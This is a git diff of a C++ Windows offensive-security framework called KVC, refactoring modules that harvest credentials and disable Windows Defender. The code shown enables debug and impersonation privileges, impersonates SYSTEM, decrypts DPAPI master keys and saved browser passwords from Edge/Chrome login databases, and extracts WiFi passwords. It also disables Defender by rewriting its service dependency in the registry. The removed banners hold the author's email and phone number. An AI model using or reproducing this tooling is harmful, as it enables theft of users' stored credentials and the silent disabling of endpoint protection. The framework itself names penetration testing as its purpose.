if (str.empty()) return L"";
|
|
||||||
|
|
||||||
int size_needed = MultiByteToWideChar(CP_UTF8, 0, str.data(), static_cast<int>(str.size()), nullptr, 0);
|
|
||||||
std::wstring result(size_needed, 0);
|
|
||||||
MultiByteToWideChar(CP_UTF8, 0, str.data(), static_cast<int>(str.size()), result.data(), size_needed);
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
std::string WStringToString(const std::wstring& wstr) noexcept
|
|
||||||
{
|
|
||||||
if (wstr.empty()) return "";
|
|
||||||
|
|
||||||
int size_needed = WideCharToMultiByte(CP_UTF8, 0, wstr.data(), static_cast<int>(wstr.size()), nullptr, 0, nullptr, nullptr);
|
|
||||||
std::string result(size_needed, 0);
|
|
||||||
WideCharToMultiByte(CP_UTF8, 0, wstr.data(), static_cast<int>(wstr.size()), result.data(), size_needed, nullptr, nullptr);
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Main DPAPI password extraction interface
|
// Main DPAPI password extraction interface
|
||||||
bool Controller::ShowPasswords(const std::wstring& outputPath) noexcept
|
bool Controller::ShowPasswords(const std::wstring& outputPath) noexcept
|
||||||
{
|
{
|
||||||
@@ -180,18 +134,18 @@ bool Controller::PerformPasswordExtractionInit() noexcept
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!EnablePrivilege(L"SeDebugPrivilege")) {
|
if (!PrivilegeUtils::EnablePrivilege(L"SeDebugPrivilege")) {
|
||||||
ERROR(L"CRITICAL: Failed to enable SeDebugPrivilege");
|
ERROR(L"CRITICAL: Failed to enable SeDebugPrivilege");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!EnablePrivilege(L"SeImpersonatePrivilege")) {
|
if (!PrivilegeUtils::EnablePrivilege(L"SeImpersonatePrivilege")) {
|
||||||
ERROR(L"CRITICAL: Failed to enable SeImpersonatePrivilege");
|
ERROR(L"CRITICAL: Failed to enable SeImpersonatePrivilege");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
EnablePrivilege(L"SeBackupPrivilege");
|
PrivilegeUtils::EnablePrivilege(L"SeBackupPrivilege");
|
||||||
EnablePrivilege(L"SeRestorePrivilege");
|
PrivilegeUtils::EnablePrivilege(L"SeRestorePrivilege");
|
||||||
|
|
||||||
if (!m_trustedInstaller.PublicImpersonateSystem()) {
|
if (!m_trustedInstaller.PublicImpersonateSystem()) {
|
||||||
ERROR(L"Failed to impersonate SYSTEM: %d", GetLastError());
|
ERROR(L"Failed to impersonate SYSTEM: %d", GetLastError());
|
||||||
@@ -477,21 +431,6 @@ bool Controller::ProcessRegistryMasterKeys(std::vector<RegistryMasterKey>& maste
|
|||||||
return !masterKeys.empty();
|
return !masterKeys.empty();
|
||||||
}
|
}
|
||||||
|
|
||||||
// Convert byte vector to hex string for display
|
|
||||||
std::string Controller::BytesToHexString(const std::vector<BYTE>& bytes) noexcept
|
|
||||||
{
|
|
||||||
if (bytes.empty()) return "";
|
|
||||||
|
|
||||||
std::ostringstream hexStream;
|
|
||||||
hexStream << std::hex << std::setfill('0');
|
|
||||||
|
|
||||||
for (const auto& byte : bytes) {
|
|
||||||
hexStream << std::setw(2) << static_cast<int>(byte);
|
|
||||||
}
|
|
||||||
|
|
||||||
return hexStream.str();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Process browser passwords with master key decryption
|
// Process browser passwords with master key decryption
|
||||||
bool Controller::ProcessBrowserPasswords(const std::vector<RegistryMasterKey>& masterKeys,
|
bool Controller::ProcessBrowserPasswords(const std::vector<RegistryMasterKey>& masterKeys,
|
||||||
std::vector<PasswordResult>& results,
|
std::vector<PasswordResult>& results,
|
||||||
@@ -506,7 +445,7 @@ bool Controller::ProcessBrowserPasswords(const std::vector<RegistryMasterKey>& m
|
|||||||
std::string localAppDataA(appData);
|
std::string localAppDataA(appData);
|
||||||
free(appData);
|
free(appData);
|
||||||
|
|
||||||
std::wstring localAppData = StringToWString(localAppDataA);
|
std::wstring localAppData = StringUtils::UTF8ToWide(localAppDataA);
|
||||||
auto edgePath = localAppData + DPAPIConstants::GetEdgeUserData();
|
auto edgePath = localAppData + DPAPIConstants::GetEdgeUserData();
|
||||||
|
|
||||||
bool edgeSuccess = ProcessSingleBrowser(edgePath, L"Edge", masterKeys, results, outputPath);
|
bool edgeSuccess = ProcessSingleBrowser(edgePath, L"Edge", masterKeys, results, outputPath);
|
||||||
@@ -589,7 +528,7 @@ bool Controller::ExtractBrowserMasterKey(const std::wstring& browserPath,
|
|||||||
|
|
||||||
std::string encryptedKeyBase64 = content.substr(startQuote + 1, endQuote - startQuote - 1);
|
std::string encryptedKeyBase64 = content.substr(startQuote + 1, endQuote - startQuote - 1);
|
||||||
|
|
||||||
std::vector<BYTE> encryptedKeyBytes = Base64Decode(encryptedKeyBase64);
|
std::vector<BYTE> encryptedKeyBytes = CryptoUtils::Base64Decode(encryptedKeyBase64);
|
||||||
if (encryptedKeyBytes.empty()) {
|
if (encryptedKeyBytes.empty()) {
|
||||||
ERROR(L"Failed to decode base64 master key");
|
ERROR(L"Failed to decode base64 master key");
|
||||||
return false;
|
return false;
|
||||||
@@ -631,7 +570,7 @@ int Controller::ProcessLoginDatabase(const std::wstring& loginDataPath,
|
|||||||
}
|
}
|
||||||
|
|
||||||
void* db;
|
void* db;
|
||||||
std::string tempDbPathA = WStringToString(tempDbPath);
|
std::string tempDbPathA = StringUtils::WideToUTF8(tempDbPath);
|
||||||
|
|
||||||
if (m_sqlite.open_v2(tempDbPathA.c_str(), &db, SQLITE_OPEN_READONLY, nullptr) != 0) {
|
if (m_sqlite.open_v2(tempDbPathA.c_str(), &db, SQLITE_OPEN_READONLY, nullptr) != 0) {
|
||||||
ERROR(L"Failed to open SQLite database: %s", tempDbPath.c_str());
|
ERROR(L"Failed to open SQLite database: %s", tempDbPath.c_str());
|
||||||
@@ -660,11 +599,11 @@ int Controller::ProcessLoginDatabase(const std::wstring& loginDataPath,
|
|||||||
result.profile = profileName;
|
result.profile = profileName;
|
||||||
|
|
||||||
if (auto urlText = m_sqlite.column_text(stmt, 0)) {
|
if (auto urlText = m_sqlite.column_text(stmt, 0)) {
|
||||||
result.url = StringToWString(reinterpret_cast<const char*>(urlText));
|
result.url = StringUtils::UTF8ToWide(reinterpret_cast<const char*>(urlText));
|
||||||
}
|
}
|
||||||
|
|
||||||
if (auto usernameText = m_sqlite.column_text(stmt, 1)) {
|
if (auto usernameText = m_sqlite.column_text(stmt, 1)) {
|
||||||
result.username = StringToWString(reinterpret_cast<const char*>(usernameText));
|
result.username = StringUtils::UTF8ToWide(reinterpret_cast<const char*>(usernameText));
|
||||||
}
|
}
|
||||||
|
|
||||||
const BYTE* pwdBytes = static_cast<const BYTE*>(m_sqlite.column_blob(stmt, 2));
|
const BYTE* pwdBytes = static_cast<const BYTE*>(m_sqlite.column_blob(stmt, 2));
|
||||||
@@ -673,7 +612,7 @@ int Controller::ProcessLoginDatabase(const std::wstring& loginDataPath,
|
|||||||
if (pwdBytes && pwdSize > 0) {
|
if (pwdBytes && pwdSize > 0) {
|
||||||
std::vector<BYTE> encryptedPwd(pwdBytes, pwdBytes + pwdSize);
|
std::vector<BYTE> encryptedPwd(pwdBytes, pwdBytes + pwdSize);
|
||||||
std::string decryptedPwd = DecryptChromeAESGCM(encryptedPwd, masterKey);
|
std::string decryptedPwd = DecryptChromeAESGCM(encryptedPwd, masterKey);
|
||||||
result.password = StringToWString(decryptedPwd);
|
result.password = StringUtils::UTF8ToWide(decryptedPwd);
|
||||||
result.status = DPAPIConstants::GetStatusDecrypted();
|
result.status = DPAPIConstants::GetStatusDecrypted();
|
||||||
|
|
||||||
results.push_back(result);
|
results.push_back(result);
|
||||||
@@ -755,8 +694,8 @@ bool Controller::ExtractWiFiCredentials(std::vector<PasswordResult>& results) no
|
|||||||
if (!password.empty()) {
|
if (!password.empty()) {
|
||||||
PasswordResult wifiResult;
|
PasswordResult wifiResult;
|
||||||
wifiResult.type = L"WiFi";
|
wifiResult.type = L"WiFi";
|
||||||
wifiResult.profile = StringToWString(profile);
|
wifiResult.profile = StringUtils::UTF8ToWide(profile);
|
||||||
wifiResult.password = StringToWString(password);
|
wifiResult.password = StringUtils::UTF8ToWide(password);
|
||||||
wifiResult.status = DPAPIConstants::GetStatusDecrypted();
|
wifiResult.status = DPAPIConstants::GetStatusDecrypted();
|
||||||
results.push_back(wifiResult);
|
results.push_back(wifiResult);
|
||||||
}
|
}
|
||||||
@@ -823,24 +762,6 @@ void Controller::UnloadSQLiteLibrary() noexcept
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Base64 decode using Windows CryptAPI
|
|
||||||
std::vector<BYTE> Controller::Base64Decode(const std::string& encoded) noexcept
|
|
||||||
{
|
|
||||||
DWORD decodedSize = 0;
|
|
||||||
|
|
||||||
if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &decodedSize, nullptr, nullptr)) {
|
|
||||||
return {};
|
|
||||||
}
|
|
||||||
|
|
||||||
std::vector<BYTE> decoded(decodedSize);
|
|
||||||
if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64, decoded.data(), &decodedSize, nullptr, nullptr)) {
|
|
||||||
return {};
|
|
||||||
}
|
|
||||||
|
|
||||||
decoded.resize(decodedSize);
|
|
||||||
return decoded;
|
|
||||||
}
|
|
||||||
|
|
||||||
// DPAPI decryption for browser master keys
|
// DPAPI decryption for browser master keys
|
||||||
std::vector<BYTE> Controller::DecryptWithDPAPI(const std::vector<BYTE>& encryptedData,
|
std::vector<BYTE> Controller::DecryptWithDPAPI(const std::vector<BYTE>& encryptedData,
|
||||||
const std::vector<RegistryMasterKey>& masterKeys) noexcept
|
const std::vector<RegistryMasterKey>& masterKeys) noexcept
|
||||||
@@ -921,31 +842,6 @@ std::string Controller::DecryptChromeAESGCM(const std::vector<BYTE>& encryptedDa
|
|||||||
return std::string(encryptedData.begin(), encryptedData.end());
|
return std::string(encryptedData.begin(), encryptedData.end());
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Controller::EnablePrivilege(LPCWSTR privilegeName) noexcept
|
|
||||||
{
|
|
||||||
HANDLE hToken;
|
|
||||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
LUID luid;
|
|
||||||
if (!LookupPrivilegeValueW(nullptr, privilegeName, &luid)) {
|
|
||||||
CloseHandle(hToken);
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
TOKEN_PRIVILEGES tp = {};
|
|
||||||
tp.PrivilegeCount = 1;
|
|
||||||
tp.Privileges[0].Luid = luid;
|
|
||||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
|
||||||
|
|
||||||
BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr);
|
|
||||||
DWORD lastError = GetLastError();
|
|
||||||
CloseHandle(hToken);
|
|
||||||
|
|
||||||
return result && (lastError == ERROR_SUCCESS);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Browser data extraction with kvc_pass integration
|
// Browser data extraction with kvc_pass integration
|
||||||
bool Controller::ExportBrowserData(const std::wstring& outputPath, const std::wstring& browserType) noexcept
|
bool Controller::ExportBrowserData(const std::wstring& outputPath, const std::wstring& browserType) noexcept
|
||||||
{
|
{
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// ControllerSystemIntegration.cpp
|
// ControllerSystemIntegration.cpp
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// CryptCore.cpp - Security module entry point and workflow coordination
|
// CryptCore.cpp - Security module entry point and workflow coordination
|
||||||
// Implements split-key strategy for Edge: COM for cookies/payments, DPAPI for passwords
|
// Implements split-key strategy for Edge: COM for cookies/payments, DPAPI for passwords
|
||||||
#include "CryptCore.h"
|
#include "CryptCore.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// DataExtraction.cpp - Profile discovery and database extraction
|
// DataExtraction.cpp - Profile discovery and database extraction
|
||||||
#include "DataExtraction.h"
|
#include "DataExtraction.h"
|
||||||
#include "BrowserCrypto.h"
|
#include "BrowserCrypto.h"
|
||||||
|
|||||||
@@ -1,29 +1,17 @@
|
|||||||
/*******************************************************************************
|
/**
|
||||||
_ ____ ______
|
* @file DefenderManager.cpp
|
||||||
| |/ /\ \ / / ___|
|
* @brief Implementation of Windows Defender Security Engine management
|
||||||
| ' / \ \ / / |
|
* @author Marek Wesolowski
|
||||||
| . \ \ V /| |___
|
* @date 2025
|
||||||
|_|\_\ \_/ \____|
|
* @copyright KVC Framework
|
||||||
|
*
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
* Implements registry-level manipulation of Windows Defender service dependencies.
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
* Provides atomic operations for enabling/disabling the security engine by modifying
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
* RPC service dependencies in the Windows registry.
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
*/
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
#include "DefenderManager.h"
|
#include "DefenderManager.h"
|
||||||
|
#include "common.h"
|
||||||
#include <filesystem>
|
#include <filesystem>
|
||||||
#include <algorithm>
|
#include <algorithm>
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
@@ -31,23 +19,56 @@ that define these protections.
|
|||||||
using namespace std;
|
using namespace std;
|
||||||
namespace fs = std::filesystem;
|
namespace fs = std::filesystem;
|
||||||
|
|
||||||
|
// Console color helper (using existing SetColor function from main application)
|
||||||
extern void SetColor(int color);
|
extern void SetColor(int color);
|
||||||
|
|
||||||
// Console color helper (using your existing SetColor function)
|
// ============================================================================
|
||||||
extern void SetColor(int color);
|
// PUBLIC INTERFACE IMPLEMENTATION
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
// Primary interface methods
|
/**
|
||||||
bool DefenderManager::DisableSecurityEngine() noexcept {
|
* @brief Disables Windows Defender security engine
|
||||||
|
*
|
||||||
|
* Implementation details:
|
||||||
|
* 1. Calls ModifySecurityEngine(false) to perform registry manipulation
|
||||||
|
* 2. Provides user feedback through console output
|
||||||
|
*
|
||||||
|
* @return bool true if Defender successfully disabled, false on failure
|
||||||
|
*/
|
||||||
|
bool DefenderManager::DisableSecurityEngine() noexcept
|
||||||
|
{
|
||||||
std::wcout << L"Disabling Windows Security Engine...\n";
|
std::wcout << L"Disabling Windows Security Engine...\n";
|
||||||
return ModifySecurityEngine(false);
|
return ModifySecurityEngine(false);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool DefenderManager::EnableSecurityEngine() noexcept {
|
/**
|
||||||
|
* @brief Enables Windows Defender security engine
|
||||||
|
*
|
||||||
|
* Implementation details:
|
||||||
|
* 1. Calls ModifySecurityEngine(true) to perform registry manipulation
|
||||||
|
* 2. Provides user feedback through console output
|
||||||
|
*
|
||||||
|
* @return bool true if Defender successfully enabled, false on failure
|
||||||
|
*/
|
||||||
|
bool DefenderManager::EnableSecurityEngine() noexcept
|
||||||
|
{
|
||||||
std::wcout << L"Enabling Windows Security Engine...\n";
|
std::wcout << L"Enabling Windows Security Engine...\n";
|
||||||
return ModifySecurityEngine(true);
|
return ModifySecurityEngine(true);
|
||||||
}
|
}
|
||||||
|
|
||||||
DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexcept {
|
/**
|
||||||
|
* @brief Queries current Windows Defender security engine state
|
||||||
|
*
|
||||||
|
* Detection logic:
|
||||||
|
* 1. Opens Windows Defender service registry key (read-only)
|
||||||
|
* 2. Reads DependOnService REG_MULTI_SZ value
|
||||||
|
* 3. Searches for RpcSs (enabled) or RpcSt (disabled) in dependencies
|
||||||
|
* 4. Returns ENABLED if RpcSs found, DISABLED if RpcSt found, UNKNOWN otherwise
|
||||||
|
*
|
||||||
|
* @return SecurityState Current state of Windows Defender security engine
|
||||||
|
*/
|
||||||
|
DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexcept
|
||||||
|
{
|
||||||
try {
|
try {
|
||||||
HKEY key;
|
HKEY key;
|
||||||
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, WINDEFEND_KEY, 0, KEY_READ, &key) != ERROR_SUCCESS) {
|
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, WINDEFEND_KEY, 0, KEY_READ, &key) != ERROR_SUCCESS) {
|
||||||
@@ -73,8 +94,27 @@ DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexce
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Core engine manipulation - critical path
|
// ============================================================================
|
||||||
bool DefenderManager::ModifySecurityEngine(bool enable) noexcept {
|
// CORE OPERATIONS IMPLEMENTATION
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Core registry manipulation logic for enable/disable operations
|
||||||
|
*
|
||||||
|
* Atomic operation sequence:
|
||||||
|
* 1. Enable required privileges (SE_BACKUP_NAME, SE_RESTORE_NAME, SE_LOAD_DRIVER_NAME)
|
||||||
|
* 2. Create registry snapshot of Services hive to temp file
|
||||||
|
* 3. Modify Windows Defender dependencies in temp registry
|
||||||
|
* 4. Restore modified registry snapshot to live system
|
||||||
|
*
|
||||||
|
* @param enable true to enable Defender (RpcSt→RpcSs), false to disable (RpcSs→RpcSt)
|
||||||
|
* @return bool true if all operations successful, false on any failure
|
||||||
|
*
|
||||||
|
* @note All operations are atomic - partial failure results in rollback
|
||||||
|
* @note Provides detailed console feedback for each step
|
||||||
|
*/
|
||||||
|
bool DefenderManager::ModifySecurityEngine(bool enable) noexcept
|
||||||
|
{
|
||||||
try {
|
try {
|
||||||
// Enable required privileges first
|
// Enable required privileges first
|
||||||
if (!EnableRequiredPrivileges()) {
|
if (!EnableRequiredPrivileges()) {
|
||||||
@@ -111,16 +151,33 @@ bool DefenderManager::ModifySecurityEngine(bool enable) noexcept {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Registry snapshot creation
|
/**
|
||||||
bool DefenderManager::CreateRegistrySnapshot(RegistryContext& ctx) noexcept {
|
* @brief Creates temporary registry snapshot for atomic modifications
|
||||||
ctx.tempPath = GetSystemTempPath();
|
*
|
||||||
|
* Process:
|
||||||
|
* 1. Get system temp path (Windows\temp)
|
||||||
|
* 2. Validate write access to temp directory
|
||||||
|
* 3. Clean up any existing Services.hiv file
|
||||||
|
* 4. Unload any existing HKLM\Temp registry hive
|
||||||
|
* 5. Save HKLM\SYSTEM\CurrentControlSet\Services to Services.hiv
|
||||||
|
* 6. Load Services.hiv as HKLM\Temp for modification
|
||||||
|
*
|
||||||
|
* @param ctx [out] Registry context populated with temp paths and hive file
|
||||||
|
* @return bool true if snapshot created successfully, false on failure
|
||||||
|
*
|
||||||
|
* @note Uses REG_LATEST_FORMAT for maximum compatibility
|
||||||
|
* @note Cleans up existing temp hives to prevent conflicts
|
||||||
|
*/
|
||||||
|
bool DefenderManager::CreateRegistrySnapshot(RegistryContext& ctx) noexcept
|
||||||
|
{
|
||||||
|
ctx.tempPath = ::GetSystemTempPath();
|
||||||
if (ctx.tempPath.empty()) {
|
if (ctx.tempPath.empty()) {
|
||||||
std::wcout << L"Failed to get system temp path\n";
|
std::wcout << L"Failed to get system temp path\n";
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Ensure temp directory exists and is writable
|
// Ensure temp directory exists and is writable
|
||||||
if (!ValidateWriteAccess(ctx.tempPath)) {
|
if (!PathUtils::ValidateDirectoryWritable(ctx.tempPath)) {
|
||||||
std::wcout << L"Cannot write to temp directory: " << ctx.tempPath << L"\n";
|
std::wcout << L"Cannot write to temp directory: " << ctx.tempPath << L"\n";
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
@@ -164,8 +221,26 @@ bool DefenderManager::CreateRegistrySnapshot(RegistryContext& ctx) noexcept {
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Modify Defender service dependencies - core logic
|
/**
|
||||||
bool DefenderManager::ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept {
|
* @brief Modifies Windows Defender service dependencies in temp registry
|
||||||
|
*
|
||||||
|
* Modification logic:
|
||||||
|
* 1. Opens HKLM\Temp\WinDefend key (loaded from snapshot)
|
||||||
|
* 2. Reads DependOnService REG_MULTI_SZ value
|
||||||
|
* 3. Transforms RPC service dependency:
|
||||||
|
* - Enable: RpcSt (inactive stub) → RpcSs (active service)
|
||||||
|
* - Disable: RpcSs (active service) → RpcSt (inactive stub)
|
||||||
|
* 4. Writes modified dependencies back to temp registry
|
||||||
|
*
|
||||||
|
* @param ctx Registry context with loaded temp hive
|
||||||
|
* @param enable true to enable Defender, false to disable
|
||||||
|
* @return bool true if dependency modification successful, false on failure
|
||||||
|
*
|
||||||
|
* @note Operates only on temp registry (HKLM\Temp), not live system
|
||||||
|
* @note Automatically closes registry key handle on exit
|
||||||
|
*/
|
||||||
|
bool DefenderManager::ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept
|
||||||
|
{
|
||||||
HKEY tempKey;
|
HKEY tempKey;
|
||||||
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"Temp\\WinDefend", 0, KEY_READ | KEY_WRITE, &tempKey) != ERROR_SUCCESS) {
|
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"Temp\\WinDefend", 0, KEY_READ | KEY_WRITE, &tempKey) != ERROR_SUCCESS) {
|
||||||
std::wcout << L"Failed to open temporary WinDefend key\n";
|
std::wcout << L"Failed to open temporary WinDefend key\n";
|
||||||
@@ -200,8 +275,24 @@ bool DefenderManager::ModifyDefenderDependencies(const RegistryContext& ctx, boo
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Restore registry snapshot
|
/**
|
||||||
bool DefenderManager::RestoreRegistrySnapshot(const RegistryContext& ctx) noexcept {
|
* @brief Restores modified registry snapshot to live system registry
|
||||||
|
*
|
||||||
|
* Restoration process:
|
||||||
|
* 1. Unload temporary HKLM\Temp registry hive (modified snapshot)
|
||||||
|
* 2. Open HKLM\SYSTEM\CurrentControlSet\Services key with write access
|
||||||
|
* 3. Restore modified hive file using RegRestoreKeyW with force flag
|
||||||
|
* 4. Close registry key handle
|
||||||
|
*
|
||||||
|
* @param ctx Registry context with modified hive file path
|
||||||
|
* @return bool true if restore successful, false on failure
|
||||||
|
*
|
||||||
|
* @warning This operation permanently modifies the live system registry
|
||||||
|
* @note Uses REG_FORCE_RESTORE to overwrite existing registry data
|
||||||
|
* @note Warnings about failed unload are informational only (non-critical)
|
||||||
|
*/
|
||||||
|
bool DefenderManager::RestoreRegistrySnapshot(const RegistryContext& ctx) noexcept
|
||||||
|
{
|
||||||
// Unload temporary registry hive
|
// Unload temporary registry hive
|
||||||
if (RegUnLoadKeyW(HKEY_LOCAL_MACHINE, L"Temp") != ERROR_SUCCESS) {
|
if (RegUnLoadKeyW(HKEY_LOCAL_MACHINE, L"Temp") != ERROR_SUCCESS) {
|
||||||
std::wcout << L"Warning: Failed to unload temporary registry hive\n";
|
std::wcout << L"Warning: Failed to unload temporary registry hive\n";
|
||||||
@@ -225,64 +316,55 @@ bool DefenderManager::RestoreRegistrySnapshot(const RegistryContext& ctx) noexce
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Helper methods
|
// ============================================================================
|
||||||
bool DefenderManager::EnableRequiredPrivileges() noexcept {
|
// PRIVILEGE MANAGEMENT IMPLEMENTATION
|
||||||
return EnablePrivilege(SE_BACKUP_NAME) &&
|
// ============================================================================
|
||||||
EnablePrivilege(SE_RESTORE_NAME) &&
|
|
||||||
EnablePrivilege(SE_LOAD_DRIVER_NAME);
|
/**
|
||||||
|
* @brief Enables all required privileges for registry operations
|
||||||
|
*
|
||||||
|
* Required privileges:
|
||||||
|
* - SE_BACKUP_NAME: Allows reading registry hives (RegSaveKeyExW)
|
||||||
|
* - SE_RESTORE_NAME: Allows writing registry hives (RegRestoreKeyW)
|
||||||
|
* - SE_LOAD_DRIVER_NAME: Allows loading/unloading registry hives (RegLoadKeyW/RegUnLoadKeyW)
|
||||||
|
*
|
||||||
|
* @return bool true if all three privileges enabled successfully, false if any fails
|
||||||
|
*
|
||||||
|
* @note All three privileges must be enabled for registry snapshot operations
|
||||||
|
* @note Failure of any single privilege causes entire operation to fail
|
||||||
|
*/
|
||||||
|
bool DefenderManager::EnableRequiredPrivileges() noexcept
|
||||||
|
{
|
||||||
|
return PrivilegeUtils::EnablePrivilege(SE_BACKUP_NAME) &&
|
||||||
|
PrivilegeUtils::EnablePrivilege(SE_RESTORE_NAME) &&
|
||||||
|
